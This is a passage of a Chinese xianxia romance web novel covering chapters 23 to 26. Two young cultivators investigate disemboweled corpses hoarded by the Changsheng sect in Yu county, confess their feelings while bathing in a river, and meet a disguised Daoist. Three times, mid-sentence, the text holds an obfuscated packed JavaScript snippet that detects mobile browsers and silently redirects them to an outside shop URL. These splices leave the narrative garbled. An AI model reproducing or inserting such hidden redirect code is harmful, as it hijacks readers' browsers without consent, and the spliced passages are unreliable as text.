他四下看了看,声音压得更低:“我也奇怪,这些人昼伏夜出,不知道干什么来的,我也不敢问……小仙士,不妨告诉你,他们来不久,我们这莫名出了个长生教,本来笼络了一批教众,不过正赶上闹干旱,教众都回家救庄稼了,教门一下子冷清不少,自从没人信教,那九人白天也会出门,过不许久,玉县开始死人了。” 23. 共浴 “如何死的?被谁所杀?”白栩追问。 掌柜想了半晌,才道:“怎么死的……没人知道,不过死相凄惨,尽被开膛破肚,所有的尸体都被长生教收了去,仙士若要调查,可以去那里看看,不过……”话未说完,店门忽地被大力推开,咣当两声,震得房檐都颤了颤。 掌柜立马换了一幅神态,毕恭毕敬地上前迎接:“老爷们回来了,茶水吃食都备好了,您看要吃点什么?” 许是他凑得太近招人烦,被领头的黑衣人一掌挥开,力道很是不客气,掌柜差点一屁股坐地上,好在段尚清扶了一把,没让这把老骨头摔散架。 黑衣人默然地扫视过来,目光在三人身上逡巡一瞬,而后一言不发地上了楼。 姚靖愤愤然道:“这都是什么人啊?太嚣张了吧?” 掌柜的连忙拉住他的衣袖,轻声嘱咐:“他们就是我说的那九个人,小仙士别惹到他们。” 姚靖不服,拍拍胸膛,朗声道:“藏形匿影之徒有何可怕?不过衣冠枭獍、沐猴而冠之流,小爷我一个打十个!” 他这番话实在太张扬,引得黑衣行队中的一人驻足俯视,一道狠厉目光直劈下来,若是一般人早被震慑住,姚靖却是初生牛犊不怕虎,直挺挺地回瞪回去,僵持片刻,那人冷哼一声,拂袖离开。 白栩上前拍拍姚靖肩膀,很是赞赏他的胆识:“好小子,有魄力。” 姚靖喜上眉梢,扬起下巴,脸上写着“天不怕、地不怕”六个大字。 两个活宝。 段尚清无奈一笑,一手按着一只脑袋揉了揉,“我们不应该想想三个人怎么分一间房么?” “这有什么好担心的?”白栩理所当然道,“当然是姚靖睡床,你和我打地铺啊。” 姚靖哪好意思自己占着床,连忙摆手,“不不不,住房的银子是阿栩哥哥拿的,阿栩哥哥睡床!” 白栩立刻否决:“你年龄小,休息不好可不行,你睡床,没得商量。” “师兄!”姚靖没了主意,小脸急得通红,“你劝劝阿栩哥!” 段尚清看着姚靖求助的眼神,又瞥向身边一脸“我就是道理”的白栩,笑意更是意味深长,咳了一声,不疾不徐地判决道:“你阿栩哥哥说得对,你睡床。” 明明对着姚靖说话,目光却是看向白栩。 他微微俯身,颀长的身影笼罩下来,带着些狭呢的压迫,凑到白栩耳边低声道:“所以……阿栩哥哥,今晚委屈一下,和我一起睡地铺?” “你!”白栩只觉一小股激颤自耳廓传至四肢百骸,心脏猛地一跳,旋即浑身一颤,红霞瞬间爬满了脸。 明明之前叫声“兄长”都那么不情不愿,怎么叫“阿栩哥哥”这种更加亲昵的称呼,反倒手到擒来了? 他嗔怪地瞪了段尚清一眼,却没什么力度,“谁准你……学姚靖这么叫我的……” 段尚清缓缓直起身,目光依旧没有离开白栩那张又羞又恼的脸,眼底的笑意恍恍若春潭,荡着潋滟清波,悄然拂过一瞬得逞了的狡黠。 “叫错了么?”他尾音轻轻上扬,似是不知解也不知错,“我觉得挺合适的。” 如果不是那么多人看着,白栩真想摸摸自己的心口,看看心脏是不是跳出腔子外了,怎么这么吵。 而扰乱他心神的罪魁祸首正摆出一副无辜的脸来,噙着撩人心曲的笑,盯着自己的羞赧和窘迫欣赏了半晌,才像是想起了正事,语气恢复了寻常的温和与从容,“好了,先上去放行囊。” 白栩刻意疾走两步,先上了楼梯,好离开段尚清的视线。 心跳得好快。 可恶,我白大公子向来是万花丛中过,片叶不沾身的主,怎么偏在段尚清这条河边湿了鞋? 这家伙比自己小了三岁,怎么这么会撩人? 白栩越想越羞臊,“噔噔噔”走得飞快。 “诶——!小仙士,您走反了,右边!您的房间在右边!” 玉县由于过于贫穷,地里的庄稼除了黍粟就是最好种的土豆和玉米,本来还有绿叶菜能吃,可惜先前闹干旱,大批菜苗全旱死了,新种的还没发苗,所以七月之前,只能啃土豆和玉米棒子。 不过人家玉县老百姓人穷志不短,硬生生用不丰富的物产,把菜式做出了花,炒土豆、煎土豆、烤玉米、煮玉米、土豆烩玉米…… 菜一上桌,白栩脸都绿了,赶了一天路,不是土豆就是玉米,没有肉就算了,一点菜叶子也不见,要多寡淡就有多寡淡。 “不喜欢吃?”段尚清盛了一碗汤端给白栩,见他兴致缺缺,立刻起身要出门,“我出去看看有没有其他吃的。” 白栩连忙抓住他,“好啦,我没那么矫情,出门在外,别这么麻烦。” 他夹起一筷子土豆就着杂粮饭吃了一口,才嚼几下,眼睛就瞪大了,不可置信地看了眼碗里平平无奇的土豆片子,“好吃。” 不愧是做了一辈子的菜,就是靠谱。 风卷残云过,一桌菜扫荡一空。 小二进来收了盘子和桌子,却被白栩叫住。 “客官,什么吩咐?” “你们店的厨子手艺真不错,明日午膳做炸土豆给我们尝尝?若是嫌麻烦,”白栩说着从衣袖中掏出些铜钱塞到小二手里,“我们可以加钱。” “好嘞,客官,您瞧好吧。”小二喜笑颜开地把钱收好,收拾饭桌出了门,不一会儿抱了一床被褥回来,收了钱,干活儿麻利又殷勤,先撅着屁股把地擦了一遍,又把床褥平平整整地铺好,还要替掌柜赔笑脸,“实在不好意思,委屈二位打地铺了。” “无妨。”白栩不拘一格地摆摆手,“不过屋里摆了地铺,我们如何沐浴?” 小二立刻回道:“院子里有口井,三位客官可以去那里打水沐浴,若是嫌井水冷,往山上走,有条不深的小河,白天晒了一天,现在应该是温的。” 姚靖第一个举手:“我去冲井水!” 他风风火火地跑出门,不消片刻就听“嗷”的一声惨叫,紧接着响过一通急促的浇水声,再是咚咚几声巨响,方才还兴致冲冲的毛头小子,这会儿像只落水的犬,三步并一步狂奔上楼,抱着双臂哆哆嗦嗦地跑进屋,鞋一甩,一下子钻进被窝里去,冻得牙都在打颤。 他狠得牙痒痒,又不能怪谁,人店小二都说了井水冷,他偏要追刺激冲冷水洗澡,冻成这幅傻缺模样全赖自己。 “你俩可别用井水洗,太冷了,跟刚化冰一样!” 段尚清掩唇轻笑,“我和阿栩去山上洗,你自己待着,别乱跑?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365477|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚靖臊得不行,一下把脑袋蒙住,“冻都冻死了,绝对跑不了,你俩去吧。” 玉县山多地少,从前靠山吃山,有很多山珍野味可以吃,日子过得还算滋润,可惜后来村里来了大批别地的猎户,野物被打了个干净,都被运走卖了,什么都没留下,如今农户只能养养鸡、放放牛,充作唯一的肉源。 所以,山上很安全,起码没有猛兽出没。 两人抱着换洗的衣服,一同步行上山。 山林不算密,比起白府后山桃林的密度,这里只能用稀疏来形容。 不怪山本身,从满地的树桩来看,人家的生产力还是很充沛的,树在砍光之前,这里应该是一片茂密的林子。 山不高,小河在山腰附近,走近了,一阵湿润的暖意扑面而来,耳边一阵水声潺潺,很是好听。 水从崖缝里流出,汩汩直下,清澈见底。 看这里的流向,应是上游,不用怕有动物粪便或者其他腌臜物冲下来。 这是白栩第一次和人共浴,实在是难为情。 他不停地催眠自己:我是个大人,明年就及冠了,足足比段尚清大了三岁,那家伙在自己眼里就是个小毛孩,有什么好紧张的?就当成弟弟看待,别紧张…… 心跳你能不能消停一会儿啊……我的胸腔好像要炸开了。 他扭扭捏捏地脱下内衫,一回头,段尚清已经下了水,清波里,一双长腿舒展着,水面堪堪覆盖过他的腹部,劲瘦的腰身裹着一层紧实的肌肉,被水冲得晶亮,月光下直晃人眼。 白栩别过头,脸红了一片。 “阿栩哥哥,怎么不下来?”段尚清撑在岸边看他,目光直勾勾的,一刻也不肯挪开,刻意要把白栩的一举一动收进眼底。 “你别看我。”白栩攥着内衫不肯脱下来,“不许盯着我看。” 段尚清从善如流地闭上眼睛,“进来吧,水是温的,不凉。” 水面上浮动着月光,水波微颤,月影碎成一片,又缓缓聚合。 段尚清拢过白栩沾湿的发尾,用指腹替他一点一点梳开,见人实在拘谨,忍不住又逗弄,“晚上还要睡在一起,你这么害羞,一会儿可怎么办啊?” 白栩恨不得攥住段尚清那只恼人的嘴巴,惯会说出让人羞赧的话来。 明明刚到江州还是个不食人间烟火的清冷小神仙,不知是和谁学坏了…… 白栩懊悔,不会是和自己学坏了吧? 罪过罪过。 带坏人家小神仙,在天庭要判几年啊…… “想什么呢?”段尚清的脸突然凑近放大,白栩心跳一滞,一瞬间忘了后退,也忘了呼吸,眼睁睁看着那双颜色浅淡却水润的唇瓣靠近自己,贴近,捻磨,然后轻轻咬了他一下。 “呼吸。” 轻柔的嗓音拂过耳畔,沾了水的掌心不再干燥,却一如往常的温热,那双温和的眉眼此时异常清晰,却被月光和自己的泪晃得朦胧。 白栩喘上气,张了张嘴,不知该说什么。 好像什么都不用问,段尚清的情感是如此的清澈,只要靠近,就能听见他胸膛里清晰有力的心跳声,只要一抬头,就能看见那双温润的眸子始终看着自己。 无需言语,心跳做出了答案。 24. 我心悦你 一个吻,青涩而缠绵,湿热的气息相互交融,唇齿间尽是他的味道。 段尚清只浅浅地啄吻,给白栩留足了拒绝的余地。 逆着月光,他那双琥珀色的眸子如春水荡漾,涟漪缱绻,垂眸凝望着怀中人,自己却羞红了脸,心跳怦怦作响,撩刮着一片痒,他难耐地忍受着这般温柔的折磨,蹭了蹭白栩的颈窝,像是不知自己是否犯错的小狗在寻找安全感:“阿栩……” 白栩摸摸自己的唇瓣,上面才残余着段尚清的温度。 “怎么了?”许久,他才找到自己的声音,被段尚清蹭得有些痒,他伸手捧住那颗不老实的脑袋瓜,“撒什么娇?” 段尚清眉眼弯弯:“我心悦你。” 夜风在耳边呼啸,河水有些冷了,月光藏进薄云,只留下朦胧的光线。 白栩忽地看不清段尚清的眼眸了,什么都看不清,只觉一只温热的指腹擦过自己的眼角,旋即一个吻又落了下来:“哭什么?” “没哭。”白栩移开视线,偏过头躲开段尚清的吻,“长明,你好缠人啊。” 段尚清不依不饶,顺着唇角向下吻去,在他白皙的颈侧停滞,隔着薄薄的皮肉吻着青紫色的血脉,“嫌我缠人?你不喜欢我了么?” 白栩低低一笑,回过头,月光照得他眸中波光粼粼。 “又撒娇。” “嗯,只对你撒娇,所以……”他把下巴搁在白栩肩窝里,“你的答复呢?” “什么答复?” “我说……我心悦你……”段尚清越说声音越小,最后只剩下了气声,方才这一闹,白栩越发游刃有余,自己却越来越羞了。 白栩抬手摸摸段尚清的发旋:“我都给你亲了,还不够算作答复?” 段尚清摇摇脑袋,声音委屈巴巴的:“要你亲口说……” 等了半晌,仍是听不见回答,只是揉搓自己脑袋的力道越发轻柔。 他抬头,见白栩存心逗自己,还笑得那般温柔,顿时心头一阵悸动,一股温情直涌上来,肆无忌惮地激荡至四肢百骸,连带着指尖都在微微发麻,此时此刻他只想不管不顾地吻住那双唇,吻他的眉眼,说一千遍、一万遍我心悦你。 只要在白栩身边,他便尽可以抛去一切体面、从容和沉稳,像个不懂事的孩子一样,尽情地耍赖、撒娇、磨人,因为这个人不会嫌弃他的幼稚,不会逼着他坚强,永远允许他展露最柔软的一面。 “……你欺负我。”段尚清故意说得委屈,却是眉眼含笑。 “就许你放火,不许我点灯?”白栩一手呼噜毛,一手掬了一捧水,轻轻洒在段尚清的脸颊上,“把水都给烫冒烟了,小尚清,你是有多喜欢我啊?” 段尚清张口咬住近在唇边的锁骨:“你不说我就……咬死你。” 眼看着要把人逗哭了,白栩低头,在段尚清额头印了一个吻:“我也心悦你,段长明。” 环在腰际的手臂骤然收紧,段尚清直起身,双臂撑在白栩身侧,两具身体紧紧贴在一起,彼此交融,方寸不分。 呼吸再一次被掳掠,连带着舌尖都在发麻。 夜色渐浓,弦月被翻滚的浓云吞没,最后一点微弱的光线也随之湮灭,天地顿时陷入一片粘稠死寂的黑。 风不知何时停了,周遭景物被这突如其来的黑暗遮掩住,只余下一片沉重而模糊的剪影。 段尚清顿时警觉,先一步上岸,迅速换好衣服,伸手将白栩拉上来,展开衣衫一把将他裹住,手上飞快地帮他整理:“我们赶紧回去,我有不好的预感……” 他话音未落,一道悠长凄切的哭嚎陡然传来,自山林幽邃处荡开。 “呜——呜——” 周遭的黑暗似乎也随着这声音缓慢地搏动、流淌,仿若要将这方天地彻底封存。 段尚清从怀中取出一张符纸,掐诀念咒,向前一甩,忽地一片刺眼的火光四散开来,小火符飘飘荡荡地飞旋在两人周身,段尚清向前一指,火符得令,立马飞荡过去,顿时照亮了大片林区。 原来小小一张火符,威力竟这般的大,白栩想起他们掉在镇邪庙金佛洞窟里时,段尚清也施展了这个咒法,那时的火符只有一小簇火苗,拼尽全力也只能照亮一小片区域。 看来他那时伤得真的很重…… “有东西,抓紧我。” 白栩立马藏到段尚清身后,环住他的腰,段尚清一手护着他,一手横剑身前,静待杀机。 “我们不跑么?”白栩戳戳段尚清的后腰,“你不是会御剑飞行么?” 段尚清的腰最怕痒,一戳一抖,他回手抓住白栩作乱的爪子,握在手心不让再动:“会,但我想看看是什么东西在装神弄鬼,打不过了再跑。” “那我怎么办?”白栩一瞪眼睛,使劲戳段尚清的腰眼。 你是打得过,万一那东西调转枪头朝我攻来呢? 我可跑不过啊! “我护着你。”段尚清一伸长臂把白栩搂进怀里,两指一掐,揪起白栩的脸颊肉把玩,“地下的鬼我打不过,地上的鬼我还打不过么?” “我算是看出来了,姚靖那泼猴性子,还真是你教出来的。”白栩侧目睨向他,“你刚到我家那时候装得那么正经,现在终于原形毕露了。” “说明我待你越发真诚了,不好的都让你看过了,阿栩哥哥,你要对我负责啊……” “呜——” 一看两人腻歪得不知天为何物了,连自己的示威都不放在眼里,怪物气得嗷一嗓子,猛地扑杀出来,段尚清撤步一躲,横剑下劈,剑光一闪,顿时削掉怪物一条手臂。 白栩冲火符招招手,小火苗飘过来,照亮了地上一滩黑影。 是个人面猴身、身材矮小的怪物,独脚而反踵,白栩打量了会儿,惊讶道:“这莫非是……山魈?玉县不是闹旱魃么?怎么是这个东西……” 段尚清没说话,只一剑贯穿山魈的脑袋,怪物嘶嚎一声,登时无火自燃,焰光腾起,只余满地纸灰。 “纸人术法,能变成各种精怪,区区山魈,也太看不起我了。”段尚清抱剑立在一旁,满脸不高兴。 这小坏蛋一生气,颊肉就鼓起来,明明脸上没几两肉,五官也高挺深邃,偏偏脸颊上裹了两片软乎乎的肉,平添了几分稚气,捏起来手感也好,像白玉团子。 只有看到那圆鼓鼓的侧颊,才有一种这家伙真的小自己三岁的实感。 他忍不住去逗:“那下次给你派个无支祁过来,一拳能给你打到山那头去。” 段尚清跟着他笑:“那你可要跑远点,别被误伤了。” 两人说说笑笑回了客栈,姚靖已经睡着了。 地铺上只有孤零零一只枕头,段尚清掀开被衾,侧身躺妥,一条胳膊自然舒展着横在空位前,他的目光落在白栩身上,澄澈、专注、不染一丝欲念,就只是注视着,等白栩脱下外衫,摆好鞋子,才呢喃一声:“睡我怀里,暖和。” 毕竟不是第一次同眠共枕,白栩并不扭捏,低低应了一声,倾身躺下,枕上段尚清横陈的臂弯。 因着面对着面,鼻尖几乎相触,温热的呼吸在咫尺间无声地交融、缠绕,难分彼此。 “睡吧。” 段尚清用另一只手极其轻柔地顺着白栩微乱的黑发,一下,又一下。 白栩深深吸了口气,鼻端充盈着段尚清身上熏香的气息,熟悉的味道像是某种无形的安神咒,渐渐抚平了胸腔里那只四处乱撞的小鹿,心跳随之徐徐平缓,最终沉入一片安宁的黑暗。 斗转星移,夜尽天明。 客栈的鸡笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365478|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 建在后院,正位于白栩这间房的正下方,天刚亮,雄鸡报晓,嘹亮的吼声直把白栩从睡梦里轰醒。 段尚清也才醒不久,正坐在一旁整理衣服,见他睁眼,先凑过身来轻轻一吻:“醒啦。” 白栩揉揉眼,抬手捏捏段尚清的脸颊肉,夜里太干,他的声音还有些哑:“小坏蛋,越发肆无忌惮了。” “就亲。”段尚清笑意盈盈地把他拉起来,递给他一杯茶水,“凉的,姑且润润喉。” 真是贴心。 白栩接过来喝了一口,顿时脾胃通畅,他伸了个懒腰,环视一圈,没看到姚靖的影子,便问段尚清他人去哪儿了。 “下去催饭了,一早就吵着说饿。”段尚清整理好自己的,顺手接过白栩的衣带,帮他一圈圈缠好,“今早那九个人又出门了,我让姚靖在他们身上放了追踪符。”他闭上眼感应片刻,“在城西,早膳后我们去看看。” “好。” 玉县的早饭自然少不了老二样,白栩啃了根水煮玉米,还算甜,又吃了些土豆泥填饱肚子,而后跟着段尚清和姚靖出了门。 越往城西走,周围越荒凉,好歹长生教曾经举县敬仰,居然选了个这么偏僻的地方。 啧啧,越偏越好干坏事啊。 追踪符到了长生教附近就断了,应该是被发现了。 白栩抬头看,这长生教的山门建得很是气派,青石砌阶,重檐飞甍,三洞朱漆门楼,檐下悬挂八卦镜,椽头却雕着认不出的神兽,威武却凛人。 迈步进去,里头很是宽敞,因着没人来参拜,许多空余香灰的石砌香炉闲置一旁,朱门大敞,里面没点灯,黑洞洞的,离近了才看清里面站着个人。 是昨日和姚靖互瞪的那个黑衣人,这人鼻梁骨中央有道刀伤,一眼便能认出。 “三位,有失远迎。” 段尚清作了一揖:“听闻玉县遇害百姓尽被长生教收管,昨日拜谒官府,特准我三人来验尸。” 白栩暗自发笑,这小子对付难缠的人果然有一套,所谓见人说人话,见鬼说鬼话,真真假假,谁能辩出来? 黑衣人冷哼一声:“官府文凭呢?我凭什么放你们进去?” 段尚清直起身,亮出佐宣梁给他们的玉牌:“江南地界凡有凶祟伤人之事,皆归衡阳佐氏所管,长生教连这个规矩都不知道?” 他语调沉稳,掷地有声,明明年龄不大,气势却十分压人。 黑衣人明显愣了一下,似是没想到他们是佐家的人,冷哼一声,不情不愿地让开一条路。 白栩跟着进去,悄悄对段尚清竖了个拇指,段尚清冲他眨眨眼,强忍着得逞的笑。 他能这么硬气,是有凭据的。 现如今,江南上三家,佐家排第一,因着有些地偏的小门小派修士太少,佐家子弟便出行江南百乡,帮着除魔卫道,凡有凶煞伤人、精怪作祟之事,皆以佐家为主力军。 故而江南玄门有一条不成文的规矩,凡是佐家仙士,皆便宜行事。 白栩哼了一声,昂首挺胸,大步迈进,做足了盛气凌人的架势,姚靖也学着他,路过那黑衣人时,还仇人见面分外眼红地啐了一口,翻了个白眼。 真是气不死人不偿命。 按理说,黑衣人不仅要放他们进门,还应该毕恭毕敬地带路才是,白栩回头看了那人一眼,果如所想,一双强压怒气的眼直勾勾地盯着他们的背影,如果不是人性尚在,恐怕下一秒就要扑过来把他们的骨头给嚼碎了。 不过段尚清并不需要带路,死尸之气对于仙士来说,很轻易便能觉察。 推开一扇漆黑木门,一股腐臭之味扑鼻而来。 里面乱七八糟地陈列着数具死尸,俱是开膛破肚,腹腔中空。 和尸鬼杀人的手法一模一样。 25. 大闹长生教 不过这些尸体虽然死状凄惨,面容却不狰狞,显然是死后才被豁开胸膛取走脏器。 “不像尸鬼杀人,反像是人为作案。” 段尚清拉过白栩,指着其中一具尸体的腹部:“你看,尽管伤口附近皮肉狰狞,但表皮却是切口齐整,如果我没猜错,应该是有人先用刀竖切一道,然后蛮力撕扯开,才能留下这样的伤。” 白栩搓搓冒出来的鸡皮疙瘩:“长生教的人干的吧,不然他们没理由回收尸体……难道这些尸体别有用处?” 段尚清愤愤然道:“哼,谁知道有什么见不得人的目的,偌大个长生教,尽是一帮人面兽心的恶心东西,迟早把他们连锅端了。” 姚靖也摩拳擦掌,颇为愤慨:“对!师兄你一声令下,我听你差遣!” 白栩抱臂站在一旁,看他俩同气连枝、嫉恶如仇的赌气模样,忍不住笑了起来。 这俩大小王,我们还在别人的地盘里呢就这么嚣张,这要是出了门,不得把教门给掀了? 不过按照事实来看,他们仨已经把长生教的人得罪了个透,且不说还有暗中行动的教徒没露面,单论那九个人就绝不会善罢甘休,反正已经进入了暗杀名单,不如做戏做到底,就搅得一通天翻地覆又如何? 白栩拊掌,示意两人看向自己:“小姚靖,拿着佐家玉牌去官府调人过来,我们先把这些尸体安葬入土,至于怎么整治长生教,从长计议。” “得令!”姚靖拔腿就往外奔,他身手矫健,跑得飞快,不多时,只听门外乌泱泱来了一群官府的人,长生教的人想拦,被姚靖一通问候祖宗的谩骂震慑在原地,眼睁睁看着这帮人进门。 这小子办事向来火急火燎、手段非常,去县衙一通招兵买马,立刻聚拢一帮绿林好汉随他踏平长生教,衙役捕快身体好,行动力强,提刀就朝长生教杀过去了,显然积怨已深,唯有县令落在最后,一边擦汗,一边迈动年迈的腿脚苦苦追赶。 姚靖嫌他行动实在缓慢,屈膝一揽,起身一顶,直接把老头扛肩上,大喊一声:“老头,抓稳了!”立马狂奔起来。 可怜老县令一把老骨头,只能护住自己的官帽不掉在地上,至于被颠掉的一只鞋……回去再捡吧。 到了地方,一看满地尸体,老县令气还没喘匀,先吐了个昏天暗地,而后一屁股坐在地上,哇哇大哭起来。 姚靖一脸疑惑:“老头,你哭什么?” 县令一把鼻涕一把泪:“我……我对不起玉县百姓……是我害了他们……” 白栩一听,县令显然话里有话,他示意姚靖去安排衙役们抬尸体,自己蹲在县令身旁,掏出帕子替他擦眼泪鼻涕:“柳县令爱民如子,佐某敬佩。” 老县令泪眼朦胧,看清是一张俊秀的少年面庞,自觉丢了老脸,赶紧擦干泪:“佐家少年,的亏有你们,我才能要回这些尸体。” “我看长生教的教徒人数甚少,县衙一众捕快衙役,为什么抢不过?” 县令长叹一气,压低了声音道:“谁敢抢啊……凡是冠了长生的名头,都上承天眷,受司天监庇护,没人敢忤逆。” 又是司天监,简直阴魂不散! 白栩扶着老县令起来,替他戴稳了官帽:“别怕,此后佐家罩着玉县,区区长生教休想反了天。” 县令感激地看向白栩:“是,江南百姓无不仰仗佐家荫庇,多谢小仙士,我替玉县百姓,叩谢佐家!” 老头说着就要下跪,白栩连忙扶住他:“柳县不必行此大礼,我等还有事要与您商讨,今夜您在衙门里等着。” “好,好。”柳县令擦了一把汗,“我们早就联系了寿材铺,造了好些棺材,到时候先把尸体搬去城西义庄,再放入棺椁进山送葬,小仙士意下如何?” 白栩抱拳:“柳县令思虑周到,佐某钦佩。” 一担担裹好白布的死尸被抬到义庄,柳县令准备的棺材很够用,衙役们也很有干劲,打算一天就把这些棺材运上山埋好。 义庄外围了一圈百姓,家里死了人的,或哭天抢地,或暗自抹泪,吵嚷一片。 尸体见了光,已经开始腐烂,义庄渐渐弥散出一阵腐臭,衙役想轰开百姓赶紧抬棺上山,白栩抬手将他们拦下:“我来。” 说罢,他起身立于门前,朗声道:“诸位!送灵须赶在午时阳气最盛之时上山,我等方可作法超度。若迟至黄昏,尸身受蚀,恐难周全,我等也便爱莫能助了。” 这一嗓子喊下去,原本闹着要停灵吊唁的人立马起身主动盖棺,衙役们赶紧帮着抬棺,送灵上山。 尽管山路难走,百姓依旧跟在后面唱送魂歌,用的是当地方言,白栩虽听不懂,心里却也沉甸甸。 好歹是把他们的尸体抢回来了,封棺入土,魂归故里。 死者已矣,生者继之。 肩膀忽地被轻拍两下,段尚清凑上前来轻声问:“你会超度送灵?” 白栩摇头。 段尚清失笑:“所以你当时在义庄那般言辞凿凿……” “当然是为了催百姓赶紧送棺上山,有的尸体都烂了,要是再停灵几日,玉县要不能呆了。” “那待会儿怎么做法?” 白栩出了个主意:“道罡八咒里可有能送灵的?如果没有,你做一个阵仗看起来能唬人的。” 段尚清环视周遭半晌,沉吟道:“道罡咒只能打鬼,不能送灵,而且此处地界受限,前七咒皆派不上用场……头顶天、脚踩山,或许可用乾艮遁咒。” 他犯了难:“可遁咒本是用以避退保命之法,场面并不宏大……若想招天雷撑场面,还得有水才行……” 这下坏了,小神仙来了也没辙了。 白栩暗自懊恼,要是先前夸下的海口应不了验,往后还怎么在玉县百姓面前做人啊…… “不用这么麻烦。” 姚靖追上来,拍拍白栩的肩,笑嘻嘻道:“方才你们在义庄围着,我趁机回客栈换了身衣服,出门的时候正巧碰到个道士,姓花,说是栖云观来的,我就把他拉上来了,这会儿跟在百姓后面,你们若要找,我帮你们把他叫上来?” 有道士,那不好办了? 白栩拊掌笑道:“真是及时雨,好小子,快去把人请上来。” “得嘞。”姚靖矫健地飞下山去,不多时便拎着个道士上了山腰,那道士人高马大,比姚靖高出大半个头来,身上挂了一堆啷当法器,一看就沉,小姚靖还真是天生神力。 “花道长。”白栩躬身作揖,“还请道长为玉县枉死百姓做一场法事,超度亡灵。” 花道长一甩拂尘:“白小公子,不必如此客气。” 白栩一愣:“您认识我?” 花道长点头:“倒是你,不认得我了?” “我们……见过么?”白栩犹疑,盯着花道长的脸看了半晌,搜挂了十几年的记忆,也想不起这人是谁。 花道长未语先笑——他生就一只微微上挑的薄唇,随时等着笑似的,若只看下半张脸,会觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365479|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此人很是和蔼,可往上看去,却是一双黑白分明到几近诡异的眼珠,眼白里不见一缕血丝,瞳仁又黑又大,没有一点反光,这双眼既不灵活,也缺神采,就这么突兀地搁在脸上,以至上下两张脸极其割裂。 他变戏法似的从衣服里掏出个假胡子,往脸上一挂,遮住唇,白栩几乎是一瞬间就认出了这双眼睛来。 “是你!”白栩恍然想起,眼前这个年轻的道士,竟然是当年给他家作法驱鬼的白胡子老仙。 大概是两三年前的一个深夜,白栩挖完酒往回走,天色漆黑,他总感觉身后有东西跟着,几次回头,却什么也没看见。 一路上心神不宁地回到房内,气虚虚地有些乏力,连喝酒的兴致都没了,草草洗漱了一番,戌时不到就睡下了。 这一觉睡得极不安稳,噩梦接连不断,一会儿是燃着鬼火的符纸在眼前乱晃,一会儿是身穿红衣的女子背对着自己坐在床前,月光惨戚戚地照在她身上,叫白栩在梦里发出一身的冷汗。 他使劲掐自己想醒过来,可无论多使劲就是醒不过来。 女子转过身,乌黑的头发盖住脸,看不清面容。 她渐渐俯身,直到一人一鬼鼻尖相触。 白栩整个脑袋被她的头发盖住了,在凌乱的发丝间,一双大睁着却没有瞳孔的浑浊眼睛死死地瞪着。 他控制不住地惊叫出声,猛地从床上弹坐起来,整个人像刚从水里捞出来一样,冷汗浸透了里衣。 掌上灯,在黑暗里坐了好一会儿,心脏才平稳下来。 远处传来打更的梆子声——丑时四更,天寒地冻。 离天亮还有一个时辰,白栩不敢再睡,就着烛光发呆,直到听见府里的下人活动的声响,才从床上起身,去大堂找父亲。 白道陵听儿子说完夜里的遭遇,估摸着是撞上不干净的东西了,吃过早饭,立刻派人去请了个道士来看看。 午时,道士来了,是个胡子头发花白的老头,身上穿着破破烂烂的麻布衫,看上去与乞丐并无差别。 老头瞧了瞧白栩的面相,捋了捋长胡,断言道:“有东西想借着这孩子的阳气回魂,大抵是山野精怪,我今夜就将那鬼捉住。” 白道陵听罢,很是客气地叫下人给老道长端茶递点心,还给他买了身合体的新衣。 收了主人家的礼,自然是忠人之事,夜半子时未到,老道士在白栩屋里用鸡血画了个阵,在阵脚摆上了许多挖走簸箕珠的小铃铛,做完这些后便叫白栩安心去睡。 白栩本以为道士做法总得大张旗鼓地摆上许多法器,再跳上一段大神才有效,这老头却只画了个阵,摆了几只小铃铛,很是糊弄。 不知道是不是江湖骗子,不过他也懒得深究,听话地上床睡觉了。 一更刚过,屋内铃声大震。 说来也怪,白栩那夜却睡得十分安稳,翌日醒来时,屋里的阵法已被擦去,铃铛被收走,老道士也没了身影。 他找去正堂,看见爹正对着一个铜盆烧东西,盆里的火光透着一股不正常的幽绿色。 白栩凑近一看,铜盆里是十几只小铃铛,正是昨晚老道士放在他房里的那几只。 过了许多年,白栩已记不清那老道士的长相了,唯独那双眼睛,他记忆犹新。 “居然是您。”白栩迎上前,“您怎么会来这里?” “云游至此,见有怪事,故而驻足。”花道长不愿多解释,只催促道,“先上山超度,若有事,回客栈再细聊。” 26. 花道长 玉县山腰处有一天然的大坑,以往穷人家买不起棺材,就会在这里随意挑一片地,白布一盖,天棺地椁。 老县令站在坑上头,指挥衙役们把棺材安放下去,三令五申不许他们粗手粗脚地碰到别人家的封土包。 衙役们都是年轻大小伙子,干活十分麻利,没几个时辰,十几口棺材就整整齐齐地排列好,黄土一铺,入土为安。 百姓们被请到一边去,花道长起阵做法。 